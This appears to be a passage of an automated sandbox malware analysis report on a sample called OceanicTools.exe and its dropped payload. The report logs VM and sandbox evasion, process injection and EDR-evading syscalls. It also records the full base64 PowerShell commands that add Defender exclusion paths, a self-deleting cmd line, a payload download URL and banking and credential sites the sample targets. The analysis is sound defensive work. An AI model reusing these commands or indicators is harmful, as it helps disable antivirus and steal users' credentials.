Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: qflwedtkihuzyxlg.exe, 0000000B.00000002.2645724843.00000227C6785000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: AUTORUNS.EXE'

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6682	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3111	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7725	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1955	Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Dropped PE file which has not been started: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll

Jump to dropped file

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_11-12438

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_14-77899

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

API coverage: 8.1 %

Source: C:\Users\user\Desktop\OceanicTools.exe TID: 1672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2848	Thread sleep count: 6682 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2848	Thread sleep count: 3111 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6508	Thread sleep count: 7725 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6508	Thread sleep count: 1955 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400B6740 FindClose,FindFirstFileExW,GetLastError,	14_2_00000001400B6740
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400B67F0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	14_2_00000001400B67F0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400D00F8 FindFirstFileW,	14_2_00000001400D00F8

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_000000014007EF60 GetLogicalDriveStringsW,

14_2_000000014007EF60

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400D0140 GetSystemInfo,

14_2_00000001400D0140

Source: C:\Users\user\Desktop\OceanicTools.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Source: OceanicTools.exe	Binary or memory string: VMware
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: qflwedtkihuzyxlg.exe, 0000000E.00000002.2835428358.000001FB10D96000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2655491718.000001FB10DB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: OceanicTools.exe	Binary or memory string: vmware
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: OceanicTools.exe	Binary or memory string: SYSTEM\CurrentControlSet\Services\Disk\EnumqueryregmanufacturergetcomputersystemwmicopenvzxenqemukvmmicrosoftvirtualboxvmwareKVMQEMUVBOXVMwareLicense Agreementhttp://185.208.158.47/phantomtoolsv2.exeAnalNosorog256X-Secret-Phrase')); Invoke-Expression $cmd"Add-MpPreference -ExclusionPath "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('-Commandpowershell.exeInstallation completed.An error occurred during installation.Installation canceled by the user.User Agreement for Software Application:
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2666150032.000001FB12E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	API call chain: ExitProcess graph end node			graph_14-77849
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	API call chain: ExitProcess graph end node			graph_14-77853

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

11_2_00007FF6350D3C70

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400D02C8 IsDebuggerPresent,

14_2_00000001400D02C8

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400B8A44 GetLastError,IsDebuggerPresent,OutputDebugStringW,

14_2_00000001400B8A44

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

11_2_00007FF6350D3C70

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_00000001400A4D28 GetProcessHeap,

14_2_00000001400A4D28

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D11D9 SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,	11_2_00007FF6350D11D9
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF635370550 SetUnhandledExceptionFilter,	11_2_00007FF635370550
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400D02D8 SetUnhandledExceptionFilter,	14_2_00000001400D02D8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014008D3D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_000000014008D3D8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00007FF6350D11D9 SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,	14_2_00007FF6350D11D9

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: OceanicTools.exe, type: SAMPLE
Source: Yara match	File source: amsi64_7128.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_6696.amsi.csv, type: OTHER

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	NtClose: Indirect: 0x7FF6350D4830
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	NtQueryInformationProcess: Indirect: 0x7FF6350D3098	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	NtQueryInformationProcess: Indirect: 0x7FF6350D3CAD	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Memory written: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe base: 140000000 value starts with: 4D5A

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Thread register set: target process: 3524

Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_0000000140072EC0 ShellExecuteW,

14_2_0000000140072EC0

Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\reg.exe "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" "computersystem" "get" "manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHki')); Invoke-Expression $cmd"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWxmb25zXGZvZWtzZXlya2t6eW9veHlccWZsd2VkdGtpaHV6eXhsZy5leGUi')); Invoke-Expression $cmd"	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process created: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000	Jump to behavior

Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-command" "$cmd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string('qwrklu1wuhjlzmvyzw5jzsatrxhjbhvzaw9uugf0acaiqzpcvxnlcnncywxmb25zxgzvzwtzzxlya2t6ew9vehlccwzsd2vkdgtpahv6exhszy5legui')); invoke-expression $cmd"
Source: C:\Users\user\Desktop\OceanicTools.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "-command" "$cmd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string('qwrklu1wuhjlzmvyzw5jzsatrxhjbhvzaw9uugf0acaiqzpcvxnlcnncywxmb25zxgzvzwtzzxlya2t6ew9vehlccwzsd2vkdgtpahv6exhszy5legui')); invoke-expression $cmd"			Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 11_2_00007FF6350D4350 cpuid

11_2_00007FF6350D4350

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: EnumSystemLocalesW,	14_2_00000001400A409C
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: EnumSystemLocalesW,	14_2_00000001400A416C
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_00000001400A4204
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: EnumSystemLocalesW,	14_2_0000000140099354
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoW,	14_2_00000001400D0390
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoEx,FormatMessageA,	14_2_00000001400B63B0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: EnumSystemLocalesW,	14_2_00000001400D03A8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoW,	14_2_00000001400A4450
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_00000001400A45A8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoW,	14_2_00000001400A4658
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_00000001400A4784
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: GetLocaleInfoW,	14_2_0000000140099898
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_00000001400A3D50

Source: C:\Users\user\Desktop\OceanicTools.exe	Queries volume information: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OceanicTools.exe	Queries volume information: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
